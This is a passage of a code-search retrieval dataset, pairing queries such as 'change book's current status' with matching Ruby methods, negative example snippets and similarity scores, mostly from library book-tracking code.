"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.6983745",
"0.69440174",
"0.6908935",
"0.6899001",
"0.6884537",
"0.6867209",
"0.6811244",
"0.68051404",
"0.680374",
"0.68021417",
"0.68021417",
"0.67969835",
"0.67969835",
"0.67969835",
"0.67969835",
"0.6776736",
"0.6683733",
"0.6673537",
"0.6662352",
"0.66476464",
"0.6643756",
"0.6633821",
"0.66322887",
"0.66292965",
"0.6595305",
"0.65789354",
"0.6575105",
"0.65599185",
"0.6558647",
"0.651145",
"0.649818",
"0.64974296",
"0.64974296",
"0.64974296",
"0.64974296",
"0.6487467",
"0.6486245",
"0.6480461",
"0.6479215",
"0.64721686",
"0.6465738",
"0.64616257",
"0.6459896",
"0.6454412",
"0.64523745",
"0.6450702",
"0.6442414",
"0.6441511",
"0.6407876",
"0.64007324",
"0.63970435",
"0.6378942",
"0.6377617",
"0.6366782",
"0.63590026",
"0.635324",
"0.63501334",
"0.6339737",
"0.63394755"
] | 0.7299398 | 3 |
prints book's current status | def print_status
puts "#{status}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def status(book)\n\t\tif book.status == \"available\"\n\t\t\tputs \"#{book.title} is not checked out.\"\n\t\telse\n\t\t\tputs \"#{book.title} is checked out. Please try again later.\"\t\t\n\t\tend \n\tend",
"def get_book_info(book)\n if book.status = available\n\t\t puts \"#{book.title} is currently available\"\n else \n puts \"#{book.title} is currently checked out by #{user.checked_out_books} and is due in #{due_date} seconds\"\n\t end\n end",
"def list_books\n @books.each do |books|\n puts books.title + \" is currently \" + books.status + \".\"\n end\n end",
"def list_books\n @books.each {|book| puts \"'#{book.title}' is #{book.status}.\" }\n end",
"def do_status\n return pretty_status(current_status)\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"Checked out\"\n puts book.title + \" is currently checked out.\" \n puts \"Go talk to \" + book.borrower.name + \".\"\n end\n end\n end",
"def borrowed_books\n\t\tputs \"Borrowed Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"checked_out\" }\n\tend",
"def available_books\n\t\tputs \"Available Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"available\" }\n\tend",
"def list_books\n @books.each { |book| puts \"#{book.title} - #{book.author} : #{book.status}\"}\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\" \n puts \"'#{book.title}' is checked out to #{book.borrower.name}\" \n end\n end\n end",
"def available_books\n @books.each do |book|\n if book.status != \"checked out\"\n puts \"'#{book.title}' is currently available\"\n end\n end\n end",
"def status\n \"#{@description} #{@status}\"\n end",
"def list_books\n @books.each do |book|\n puts \"#{book.title} by #{book.author}: #{book.status}\"\n end\n end",
"def get_status_message\n message = \"\"\n\n # if book is checked out and returned\n if (!self[:start].nil? && !self[:end].nil?)\n return message.concat(\"Returned on \").concat(self[:end].to_date.strftime(\"%b-%d-%Y\"))\n end\n\n # if book is checked out\n if (!self[:start].nil? && self[:end].nil?)\n return message.concat(\"Checked out on \")\n .concat(self[:start].to_date.strftime(\"%b-%d-%Y\"))\n .concat(\" - Return Date: \")\n .concat(self.book_return_date)\n end\n\n # if book is pending special approval\n if (self[:special_approval])\n return message.concat(\"Waiting Librarian approval for checkout\")\n end\n\n # if book is set on hold\n if (!self[:hold].nil?)\n return message.concat(\"Book on hold\")\n end\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\"\n puts \"#{book.title} by #{book.author}: Checked out by #{book.borrower.name}.\"\n end\n end\n end",
"def status()\n puts @status\n end",
"def available_books\n @books.each do |book|\n if book.status != \"Checked out\"\n puts book.title + \" is available to check out.\"\n end\n end\n end",
"def available_books\n @books.each do |book|\n if book.status == \"available\"\n puts \"#{book.title} by #{book.author} is available.\"\n end\n end\n end",
"def list_books\n @books.each do |book|\n if book.checked_out\n puts '\"' + book.title + '\" : checked out'\n else\n puts '\"' + book.title + '\" : avaiable'\n end\n end \n end",
"def available_books\n puts \"The following books are available for check out:\"\n @books.each do |book|\n if book.checked_out == false\n puts \" \\\"#{book.title}\\\"\"\n end\n end\n end",
"def display_book(selected)\n\tb = Book.find(selected)\n\tputs \"\\n#{b.title} written by #{b.author} ISBN #{b.isbn}\"\n\tif b.patron_id.nil?\n\t\tputs \"#{b.title} is available at #{Library.find_by_id(b.library_id).branch_name}\"\n\telse \n\t\tputs \"#{Patron.find_by_id(b.patron_id).name} currently has this book checked out\"\n\tend\nend",
"def printable_status\n Statusable.printable(status)\n end",
"def borrowed_books_list\n puts \"#{@name} has checked out:\"\n @books.each do |book|\n puts \" \\\"#{book.title}\\\"\"\n end\n end",
"def status\n \"#{@name}: #{@lives}/3 \"\n end",
"def status\n inspect\n end",
"def borrowed_books\n puts \"The following books have been checked out:\"\n @books.each do |book|\n if book.checked_out\n puts \" \\\"#{book.title}\\\" has been checked out by #{book.current_patron.name}.\"\n end\n end\n end",
"def borrowed_books\n @books.each do |book| \n if book.status == \"unavailable\"\n# book refers to an instance of the class \"book\". .title refers to the\n# \"getter\" method we created in class Book that retrieves the value of\n# instance variable, @title, which was passed a value from an instance of \n# the class Book.\n# .borrower refers to the \"getter/setter\" method(s) which retrieve and set\n# the value of @borrower is set in the check_out method (set to user)\n puts \"The book #{book.title} has been checked out by #{book.borrower.name}\"\n end\n end\n end",
"def status\n puts \"Player #{@playerNo}\".center(60)\n puts \"Name: #{@name}\".center(60)\n puts \"Class: #{@fightClass[:name]}\".center(60)\n puts \"Race: #{@race[:name]}\".center(60)\n puts \"HP: #{@hp}\".center(60)\n puts \"Level: #{@level}\".center(60)\n puts \"Actions: #{@actions.map(&:unCamelize).join(', ')}\".center(60)\n puts \"Attacks: #{@attacks.map(&:unCamelize).join(', ')}\".center(60)\n puts \"Inventory: #{@inventory.join(', ')}\".center(60)\n puts \"\"\n end",
"def printItem\n if @status\n \"Title: \" + @title + \", Description: \" + @description + \", Status: Done, Due Date: \" + @dueDate\n else\n \"Title: \" + @title + \", Description: \" + @description + \", Status: Not Done, Due Date: \" + @dueDate\n end\n end",
"def status\n output = StringIO.new\n output << @game.player.to_s\n output << \"\\n\"\n\n output << \"#{@game.current_room_model.description}\\n\"\n\n treasure = @game.current_room_model.treasure\n output << \"\\nThere is treasure here worth $#{treasure}.\\n\" if treasure && treasure > 0\n\n monster = @game.current_room_model.monster\n if monster\n output << \"\\nDANGER... THERE IS A MONSTER HERE....\\n\\n\"\n output << \"#{@game.current_room_model.monster}\\n\\n\"\n end\n\n if @game.current_room_model.name != \"Exit\"\n output << \"\\nWhat do you want to do? \"\n end\n \n output.string\n end",
"def print_init_status\n\t\tset_status(@ctx_init_id, \"by #{RsConfig::AUTHOR_FULLNAME} #{RsConfig::AUTHOR_PROMO} - (c) #{Time.now.year}\")\n\tend",
"def list_books\n puts \"\"\n puts \"Current Catalogue:\"\n puts \"\"\n puts \"A-G:\"\n \t@shelf_ag.to_s\n \tputs \"H-P:\"\n \t@shelf_hp.to_s\n \tputs \"Q-Z:\"\n \t@shelf_qz.to_s\n end",
"def status(msg = '')\n\t\toutput.print_status(msg)\n\tend",
"def display_book\n\t\tputs \"Author: #@author, Title: #@title, Publisher: #@publisher, Year: #@year, Location: Shelf: #@shelf_num\"\n\tend",
"def pretty_status\r\n status.titleize\r\n end",
"def display\n puts \"===Current Board Status===\"\n @bingo_board.each { |row| puts print row }\n end",
"def display_name\n status\n end",
"def status\n end",
"def status\n end",
"def status\n end",
"def status\n end",
"def index\n @book_statuses = BookStatus.all\n end",
"def show_status\r\n puts \"Status for room #{id}:\"\r\n if @contents.empty?\r\n puts \" The room is empty.\"\r\n else\r\n puts \" Contents: #{sorted_contents.join(', ')}\"\r\n end\r\n if @exits.empty?\r\n puts \" No exits.\"\r\n else\r\n doors = []\r\n doors << 'north' if @exits[:north]\r\n doors << 'south' if @exits[:south]\r\n doors << 'east' if @exits[:east]\r\n doors << 'west' if @exits[:west]\r\n puts \" There are exits to the #{doors.join(', ')}.\"\r\n end\r\n end",
"def update_status\n @completed_status = !completed_status\n puts \"#{description} Completed\"\n end",
"def status\n @status\n end",
"def status\n @status\n end",
"def book_list\n\t\tputs \"Here are the books in our library:\"\n\t\t@books.each { |book| puts \"#{book.name}\" }\n\tend",
"def display_status\n busy? ? 'busy' : 'available'\n end",
"def print_status\n puts \"HP: #{hp}/#{max_hp}\"\n puts \"Attack: #{attack}\"\n puts \"Defense: #{defense}\"\n print \"\\n\"\n\n print \"Weapon: \"\n if (!@weapon.nil?)\n puts \"#{weapon.name}\"\n else\n puts \"none\"\n end\n\n print \"Helmet: \"\n if (!@helmet.nil?)\n puts \"#{helmet.name}\"\n else\n puts \"none\"\n end\n\n print \"\\n\"\n end",
"def get_status()\n\n puts \"Rounds: #{@rounds}\"\n puts \"Player wins: #{@player_wins}\"\n puts \"Computer wins: #{@computer_wins}\"\n puts \"Ties: #{@ties}\\n\\n\"\n \n\n end",
"def statuses; end",
"def print_status(msg)\n puts \"\" if verbose_mode?\n puts \"#{color('----->', 32)} #{msg}\"\n end",
"def print_status(msg, color)\n cprint RESET + BOLD\n cprint WHITE + \"[ \"\n cprint \"#{ msg } \", color\n cprint WHITE + \"] \" + RESET\n end",
"def print_status(msg, color)\n cprint RESET + BOLD\n cprint WHITE + \"[ \"\n cprint \"#{ msg } \", color\n cprint WHITE + \"] \" + RESET\n end",
"def status\n if complete?\n \"PAID\"\n else\n \"PENDING\"\n end\n end",
"def status\n @status\n end",
"def status\n @status\n end",
"def overdue_books\n borrowed_books.each do |book|\n puts \"#{book.title} was due on #{book.due_date.strftime(\"%B %d, %Y\")}.}\" if book.check_overdue(book.borrower.first)\n end\n end",
"def status_text\n\t s = Enrollment::STATUS_NAMES[self.enrollment_status]\n\t \n\t if [Enrollment::STATUS_CLOSED,Enrollment::STATUS_FINALIZED].include? self.enrollment_status\n\t s += \"-#{Enrollment::COMPLETION_NAMES[self.completion_status]}\"\n\t end\n\t s\n\tend",
"def show_status(commander)\n puts \"#{commander} was #{@users[commander][:times_commander] } times Commanding officer of the week.\"\n puts \"#{commander} is currently on vacation\" if @users[commander][:vacation]\n @users[commander][:vacations].each { |x| puts x}\n end",
"def status\n\t\treturn \"Pending\" if !completed\n\t\t\"Completed\"\n\tend",
"def print_status(msg)\n\t\tself.module.print_status(msg)\n\tend",
"def game_status\n puts\n game_status_str = @game_status.join(' ')\n puts game_status_str\n end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def status; end",
"def print\n # trace \"@filename2books:\"\n if @filename2books\n @filename2books.each do |_filename,books|\n # trace \" filename: #{filename}\"\n # trace \" books:\"\n if books.empty?\n # trace \" []\"\n else\n books.each do |book|\n if book.weakref_alive?\n # trace \"#{book}\"\n else # this should never happen\n # trace \"weakref not alive\"\n end\n end\n end\n end\n end\n end",
"def status\n Status.find(self.status_id).name\n end",
"def print_status\n next_run = ((@@next_task-Time.now)/60.0).round(2)\n\n print \"\\r\"\n print \"#{Time.now} #{[@chains.count,@steps_done].min}/#{@chain_count} chains active - #{@chains.sum(&:remaining_task_count)}/#{@task_count} Tasks remaining - Next task will run in #{next_run} minutes\"\n\n EM.add_timer 1, proc {\n print_status\n }\n end",
"def display_shelf\n\t\tputs @books\n\tend",
"def status\n info['status']\n end",
"def display_book_info(book)\n puts \"*\" * 20\n puts \"\"\n puts \"Title: \" + book[\"volumeInfo\"][\"title\"]\n puts \"Snippet: \" + book[\"searchInfo\"][\"textSnippet\"]\n puts \"\"\nend",
"def index\n @bookstatuses = Bookstatus.all\n end",
"def print_status(game)\n cls\n\n puts game.version\n\n # Print the word with underscores instead of not guessed letters\n puts \"\\nWord: #{get_word_for_print(game.letters, game.good_letters)}\"\n # Print wrong letters separated with commas\n puts \"Mistakes: #{game.bad_letters.join(\", \")}\"\n\n # Print the image for the current number of made mistakes\n print_hangman(game.mistakes)\n\n if game.status == :lost\n # If player lost - print a message about it and show the word\n puts \"\\nGame over :(\"\n puts \"The word was: \" + game.letters.join(\"\")\n elsif game.status == :won\n # If player won - congratulate\n puts \"\\nYou won! Congratulations! :)\"\n else\n # If the game is not over, print the number of mistakes that are available to make\n if game.mistakes != 6\n puts \"You have left: #{game.mistakes_left} mistakes\"\n else\n puts \"You have left: 1 mistake. Be careful! \"\n end\n end\n end",
"def get_info\n puts \"#{@title} by #{@author} is #{@status}.\"\n if @description\n puts \"#{@title} description: #{@description}.\"\n end\n end",
"def print_info\n\n puts \"\\e[H\\e[2J\" # clear terminal screen\n\n # print the listing title\n print \"#{@@white}Job Title: #{@@green}#{self.title}\\n\"\n\n\n # print the time left to bid\n print \"\\t#{@@white}Time Left: #{@@green}#{self.time_left}\\n\"\n\n # print the budget for the job if valid\n if self.budget\n print \"\\t#{@@white}Budget: #{@@green}#{self.budget}\\n\"\n end\n\n # print the tags associated with the listing\n print \"\\t#{@@white}Tags: #{@@green}#{self.tags.join(',')}\\n\"\n\n # print the number of bids if valid\n if self.bids\n print \"\\n\\t#{@@white}Bids: #{@@green}#{self.bids}\\n\"\n end\n\n # print the average bid if valid\n if self.avg_bid\n print \"\\t#{@@white}Average Bid: #{@@green}#{self.avg_bid}\\n\"\n end\n\n # display the summary of bids at the momment\n print \"\\t#{@@white}Bid Summary: #{@@green}#{self.bid_summary}\\n\" if self.bid_summary\n\n # if we don't have the main description then print the short_description otherwise print the main description\n print \"\\t#{@@white}Description: \\n#{@@green}\"\n if self.description == nil\n # print \"#{self.short_description}\\n\\n\".green # put a .each_line block here and add \\t\\t to space it out properly\n desc = self.short_description\n else\n # print \"#{self.description}\\n\\n\".green\n desc = self.description\n end\n\n # fix the formating issues by indenting each line with tabs twice\n desc.each_line {|line| print \"\\t\\t#{@@green}#{line}\\n\"}\n\n print \"#{@@reset}\"\n end",
"def show\n @status = bill_status\n end",
"def status_for(exam)\n if exam.last_report\n exam.last_report.status\n else\n \"Ordered\"\n end\n end",
"def status(text)\n STDERR.puts blue_term_text(text)\n end",
"def get_status\n\t\tstatus\n\tend",
"def borrowed_books_list\n @borrowed_books.each {|book| puts \"'#{book.title}' by #{book.author}\" }\n end",
"def viewAllBookings\n connection.puts \"View All Bookings\" \n end",
"def status\n request :get, \"_status\"\n end",
"def list_books\n @books = Book.all\n @books.each.with_index(1) do |book, i|\n puts \"#{i}.#{book.title} - #{book.author}\" \n #puts \"------------\"\n end\n puts \" \"\n puts \" \"\n end",
"def display_status\n # Provisioning Status has priority\n if display_provisioning_status != 'Done'\n return display_provisioning_status\n end\n\n case status\n when 'running'\n 'Running'\n when 'stopping'\n 'Shutting Down'\n when 'shutoff'\n 'Powered Off'\n else\n status\n end\n end",
"def getAllBooks()\n puts \"\\nBOOKS:\"\n puts \"-------------------------------------------------\"\n @books.each {|book| puts \"ID: \" + book.id.to_s +\n \", Name: \" + book.title +\n \", Author: \" + book.author +\n \", Publication: \" + book.publication +\n \", Year: \" + book.year.to_s +\n \", Rack No.: \" + book.rack_no .to_s+\n \", Total Copies: \" + book.total_copies.to_s +\n \", Copies Available: \" + book.copies_available.to_s\n }\n puts \"-------------------------------------------------\"\n end",
"def current_status\n status ? 'Active' : 'Inactive'\n end",
"def status\n info[\"Status\"]\n end",
"def set_book_status\n @book_status = BookStatus.find(params[:id])\n end",
"def status\n unless source.nil? or source.empty?\n refresh_status\n else\n self.description = \"Status is currently unavailable\"\n end\n self.description.first\n end",
"def status_to_s\n \tSTATUSES[self.status].humanize\n end",
"def print_catalog\n puts @name + \" Catalog\"\n puts Time.now.to_s\n\n # print all books as a table\n format = '%-15s %-15s %-30s %-20s %s'\n puts format % ['Book Number', 'ISBN', 'Title', 'Author', 'Available']\n self.each_with_index do |book, i|\n puts format % [ i+1, book.isbn, book.title, book.author, book.available ]\n end\n end",
"def print_status\n puts \"Stats:\"\n puts \"* HP: #{@stats[:hp]}/#{@stats[:max_hp]}\"\n puts \"* Attack: #{@stats[:attack]}\"\n puts \"* Defense: #{@stats[:defense]}\"\n puts \"* Agility: #{@stats[:agility]}\"\n print \"\\n\"\n\n puts \"Equipment:\"\n print \"* Weapon: \"\n puts @outfit[:weapon] ? \"#{@outfit[:weapon].name}\" : \"none\"\n\n print \"* Shield: \"\n puts @outfit[:shield] ? \"#{@outfit[:shield].name}\" : \"none\"\n\n print \"* Helmet: \"\n puts @outfit[:helmet] ? \"#{@outfit[:helmet].name}\" : \"none\"\n\n print \"* Torso: \"\n puts @outfit[:torso] ? \"#{@outfit[:torso].name}\" : \"none\"\n\n print \"* Legs: \"\n puts @outfit[:legs] ? \"#{@outfit[:legs].name}\" : \"none\"\n\n print \"\\n\"\n end",
"def status\n @__status\n end"
] | [
"0.8002259",
"0.7544418",
"0.73484236",
"0.7245971",
"0.70691013",
"0.70116425",
"0.70007265",
"0.6962276",
"0.69563866",
"0.6937367",
"0.6900952",
"0.6826163",
"0.68155986",
"0.67655575",
"0.6747564",
"0.66894835",
"0.66432345",
"0.66406226",
"0.6589331",
"0.6513183",
"0.650927",
"0.65033996",
"0.63592464",
"0.63404226",
"0.6321744",
"0.6263872",
"0.6201638",
"0.6185109",
"0.6161359",
"0.6157132",
"0.6153449",
"0.61527556",
"0.6135785",
"0.611973",
"0.6116558",
"0.61010355",
"0.6098129",
"0.6097259",
"0.6097259",
"0.6097259",
"0.6097259",
"0.6068074",
"0.6066536",
"0.60571146",
"0.6049977",
"0.6049977",
"0.6047217",
"0.6044119",
"0.60330623",
"0.6027981",
"0.6010707",
"0.60081303",
"0.5992834",
"0.5992834",
"0.5988445",
"0.5981462",
"0.5981462",
"0.59586877",
"0.5955334",
"0.59513354",
"0.5936407",
"0.593029",
"0.59254754",
"0.59164965",
"0.59164965",
"0.59164965",
"0.59164965",
"0.59164965",
"0.59164965",
"0.59164965",
"0.59164965",
"0.59164965",
"0.59029645",
"0.58958894",
"0.589486",
"0.58913153",
"0.5882576",
"0.58777916",
"0.58760494",
"0.5872342",
"0.5864955",
"0.5861904",
"0.5861341",
"0.5855982",
"0.5853078",
"0.5848405",
"0.5841289",
"0.5835866",
"0.5823854",
"0.5819221",
"0.58147395",
"0.5814217",
"0.5814113",
"0.580955",
"0.5800057",
"0.57804024",
"0.5773702",
"0.57670236",
"0.5763933",
"0.5757051"
] | 0.71367043 | 4 |
change book's current status | def change_status
if status.include?("available")
status = "checked_out"
elsif status.include?("checked_out")
status = "available"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_book_status\n @book_status = BookStatus.find(params[:id])\n end",
"def set_bookstatus\n @bookstatus = Bookstatus.find(params[:id])\n end",
"def is_lost\r\n\t\tbook.status = 'Lost'\r\n\tend",
"def status(book)\n\t\tif book.status == \"available\"\n\t\t\tputs \"#{book.title} is not checked out.\"\n\t\telse\n\t\t\tputs \"#{book.title} is checked out. Please try again later.\"\t\t\n\t\tend \n\tend",
"def set_status\n if !draft\n self.status = STATUS[get_status]\n end\n end",
"def update_status_approved\n @transaction=Transaction.find(params[:id])\n @book=Book.find(@transaction.book_id)\n @transaction.update_attribute(:issued_to, @transaction.requested_by )\n @transaction.update_attribute(:issued_to_id, @transaction.requested_by_id )\n @transaction.update_attribute(:issue_date, Date.today)\n @transaction.update_attribute(:status, 1)\n @book.update_attribute(:quantity, @book.quantity-1)\n redirect_to @book, notice: \"Book approved to the student\"\nend",
"def set_status\n self.status = Status.find_by(code: \"OPEN\")\n end",
"def update_status\n \t update_user_book = UsersBook.find(params[:id])\n \t update_user_book.status = params[:status]\n\n \t render :json => {:status => \"success\"}\n end",
"def update_status\n @completed_status = !completed_status\n puts \"#{description} Completed\"\n end",
"def change_status(status)\n #not implemented \n end",
"def set_status\n self.status = 1\n end",
"def change_status(status)\n unless @status == status\n @status = status\n @start_time = Time.now\n end\n end",
"def status=(new_status)\n self.last_status = status\n\n self.setValue new_status, forKey: 'status'\n end",
"def update_status_rejected\n @transaction=Transaction.find(params[:id])\n @book=Book.find(@transaction.book_id)\n @transaction.update_attribute(:status, 2)\n redirect_to @book, notice: \"Book request is rejected\"\nend",
"def toggle_booking_status\n slot = Slot.find(params[:id])\n slot.update(booked: !slot.booked)\n redirect_to pretty_newsletter_slots_path(@newsletter), notice: 'Slot was successfully updated.'\n end",
"def update_status(status)\n @status = status\n @last_status_change = Time.now\n update_statusfile\n end",
"def change_status(object, status)\n object.update_attribute :status, status\n end",
"def update_on_bookshelf\n\t\tif self.changed.include? 'on_bookshelf' and self.on_bookshelf\n\t\t\tself.active = \"true\"\n\t\tend\n\tend",
"def auto_update_status \n if self.status == \"To Be Published\"\n self.status = \"Published\"\n end \n end",
"def update(status)\n @pivotal_story.update(current_state: status)\n end",
"def setStatus(status)\r\n\t\t\t\t\t@status = status\r\n\t\t\t\tend",
"def mark_as(status)\n self.status = status\n self.save\n end",
"def activate\n self.status = 'current'\n self.save\n end",
"def changed\n @status = true\n end",
"def set_status(status, status_message = '')\n return if status == Algorithm.statuses[self.status]\n self.update_attributes(status: status)\n self.update_attributes(status_message: status_message)\n self.update_attribute(:diva_id, nil) if self.status == 'review' || self.status == 'unpublished_changes'\n self.update_version if self.status == 'published'\n end",
"def status=(new_status)\n update_values([:status] => new_status)\n end",
"def set_status(val)\n self.status = val\n self\n end",
"def update_status\n self.status = board.status\n end",
"def status=(status); end",
"def update_status(new_status)\n raise ArgumentError.new\"Invalid Status\" unless new_status == :AVAILABLE || new_status == :UNAVAILABLE\n @status = new_status\n end",
"def set_book\n @book = Book.active?.find(params[:id])\n end",
"def make_active\n self.status = \"A\"\n end",
"def changestatus\n @stud = Student.find(params[:stid])\n if @stud.status == \"Active\"\n @stud.status= \"Inactive\"\n @stud.save\n redirect_to root_path\n else\n @stud.status= \"Active\"\n @stud.save\n redirect_to root_path\n end\n end",
"def set_booking_status\n @booking_status = BookingStatus.find(params[:id])\n end",
"def status=(status)\n @_status = status\n end",
"def status=(status)\n @_status = status\n end",
"def set_status!(status)\n ## FIXME_NISH Fix this.\n ## FIXED\n update(status: (status == 'true'))\n end",
"def status=(new_status)\n return if self.status == new_status\n if going_back_to?(new_status)\n revert_to(new_status)\n else\n if jumping_to?(new_status) #if we're skipping one or more statuses\n # fill_in_achievements here\n end\n # add a progression to the user\n if new_status::ID > AddedApplication::ID\n self.progressions << Progression.create(:user => self, :status_id => new_status::ID)\n end\n end\n # now set the status--NEED to reference self.status_id here (.status = infinite loop)\n self.status_id = new_status::ID\n self.check_for_new_achievements\n self.save!\n end",
"def update_status_on_inventory_change\n if self.inventory_changed?\n if self.inventory.zero?\n self.status = :out_of_stock\n else\n self.status = :in_stock\n end\n end\n end",
"def update\n respond_to do |format|\n if @book_status.update(book_status_params)\n format.html { redirect_to @book_status, notice: 'Book status was successfully updated.' }\n format.json { render :show, status: :ok, location: @book_status }\n else\n format.html { render :edit }\n format.json { render json: @book_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_status\n case @part.status\n when 'Unstarted'\n @part.status = 'Started'\n @part.user = current_user\n @part.bitbucket.post_user(current_user.email) if @part.name == 'Prototype'\n @part.create_activity key: 'part.started', owner: current_user\n @part.start_rep_points\n when 'Started'\n @part.status = 'Finished'\n @part.create_activity key: 'part.finished', owner: current_user\n when 'Finished' \n @part.status = 'In Review'\n @part.create_activity key: 'part.in_review', owner: current_user\n when 'In Review'\n @part.status = 'Accepted'\n @part.accepted_rep_points\n @part.create_activity key: 'part.accepted', owner: current_user\n end\n @part.save\n redirect_to :back\n end",
"def set_book_progress\n @book_progress = BookProgress.find(params[:id])\n end",
"def update_status(status)\n self.status = status\n self.save! validate: false\n end",
"def update!(**args)\n @new_status = args[:new_status] if args.key?(:new_status)\n end",
"def set_status\n @status= {\n 'Unstarted' => 0,\n 'In Progress' => 1,\n 'Completed' => 2\n }\n end",
"def update_status status\n @job.set({\n custom_status: status,\n pinged_at: Time.now\n })\n end",
"def set_status status\n self.update(pet_status: status)\n end",
"def comprado!\n \tupdate_column(:status, true)\n end",
"def add_book(book)\n\t\t@books << book\n\t\t@book_status[book.title] = book.get_status\n\tend",
"def changeBook\n getBook(params[:book_id])\n if @book.blank? \n return false;\n end\n @playdate.page_num = params[:page_num]\n @playdate.save\n Pusher[@playdate.pusher_channel_name].trigger('change_book', {\n :data => @book.to_json(:include => :pages),\n :book => @book.id,\n :player => current_user.id,\n :page => params[:page_num]\n })\n end",
"def change_status(new_status)\n cm_status = status\n new_params = {:event_id => event.cm_event_id,\n :session_id => cm_session_id,\n :status => new_status}\n cm_status.load(new_params)\n begin\n cm_status.save\n rescue => e\n if cm_status.present?\n errors.add_to_base(e.to_s)\n end\n end\n end",
"def approve\n self.update(status: \"APPROVED\")\n end",
"def status=(newstatus)\n @log.debug(\"New status: '#{newstatus}'.\")\n puts \"Status: '#{newstatus}'.\"\n win_main = Knj::Gtk2::Window.get(\"main\")\n \n if win_main\n win_main.gui[\"statusbar\"].push(0, newstatus)\n end\n end",
"def set_invoice_status\n if closed_arr(true).detect { |x| x == @listing.status }\n val = @listing.status == 'sold' ? 'closed' : @listing.status\n @listing.invoices.find_each do |inv|\n\tinv.update_attribute(:status, val) if inv.unpaid? && inv.invoice_details.size == 1 \n end\n end\n end",
"def update_active\n\t\tif self.changed.include? 'active' and !self.changed.include? 'on_bookshelf' and !self.active\n\t\t\tself.on_bookshelf = \"false\" #required for postgres\n\t\tend\n\tend",
"def set_status\n @current_product.aasm_state = params[:status]\n\n if @current_product.save\n @product_status = @current_product.aasm_state\n else\n @object = \"Product\"\n render \"api/v1/errors/404\", status: 404\n end\n end",
"def check_in(book,user)\n\n\t\tif book.status == \"available\"\n\t\t\tputs \"This book is not available for check in.\"\n\t\telse \n\t\t\tuser.checked_out_books.delete(book)\n book.status = \"available\"\t\n\t\t\tputs \"Thank you! #{book.title} is now checked in.\"\n\t\tend\n\tend",
"def project_status_setter(status)\n if ['Proposed', 'Suspended', 'Postponed',\n 'Cancelled', 'In progress'].include? status\n self.status = status\n save\n else\n false\n end\n end",
"def update_status() \n ContentProviderStatusItem.update(self)\n end",
"def switch\n @checklist = Checklist.find(params[:format])\n if @checklist.update_attribute(:completed, !@checklist.completed)\n flash[:notice] = \"Status change successful\"\n else\n flash[:notice] = \"Something went wrong\"\n end\n redirect_to '/'\n end",
"def advance_to(new_status)\n update!(status: new_status) if TaxReturn.statuses[status.to_sym] < TaxReturn.statuses[new_status.to_sym]\n end",
"def advance_status\n self.status = next_status\n end",
"def update\n respond_to do |format|\n if @bookstatus.update(bookstatus_params)\n format.html { redirect_to @bookstatus, notice: \"Bookstatus was successfully updated.\" }\n format.json { render :show, status: :ok, location: @bookstatus }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @bookstatus.errors, status: :unprocessable_entity }\n end\n end\n end",
"def current_status\n @recruiter = current_employer.recruiters.find(params[:id])\n @recruiter.update_attribute(:status, params[:s])\n render :nothing => true\n end",
"def update_book_copy_status_to_assigned\n book_copy = self.book.book_copies.unassigned_copies.where(is_active: true).first\n book_copy.update_attributes(is_assigned: true)\n end",
"def check_in(book)\n if book.status == \"checked out\"\n puts \"'#{book.title}' has been checked back in by #{book.borrower.name}\" \n book.status = \"available\"\n book.borrower.borrowed_books.delete(book)\n else\n puts \"'#{book.title}' is already checked in.\"\n end\n end",
"def auto_update_status\n if self.criminal_date && self.child_abuse_date && self.fbi_date\n if self.status < 2\n self.status = 2\n end\n elsif self.status == 2\n self.status = 1\n end\n end",
"def inactivate\n self.status = \"Inactive\"\n end",
"def activate\n self.status = \"Active\"\n end",
"def set_status(target, status)\n target.status = status\n end",
"def update\n @book = Book.find(params[:id])\n\n # figure out if the item entered if a bill or income.\n # if its a bill. change the value so its neatige.\n if @book.category.prefix_is_income?\n Book.update_current_income(current_user.id, @book.amount, params[:book][:amount])\n else\n Book.update_current_bill(current_user.id, @book.amount, params[:book][:amount])\n end\n \n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to(@book, :notice => 'Book was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @book.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def toggle_status\n self.published = !published\n self.save\n end",
"def enter_pending\n update_attribute(:status, :pending)\n end",
"def check_in(book)\n book.status = \"available\"\n book.borrower.borrowed_books.delete(book.borrower.borrowed_books[book])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_default_status\n\t self.status = 0 \n\tend",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def checkout(user, book)\n if user.can_rent_books? && book.status = \"available\"\n book.status = \"checked out\"\n book.due_date = Time.now + (7*24*60*60)\n user.checkout_book(book)\n else\n puts \"Sorry, that book can't be checked out.\"\n end\n end",
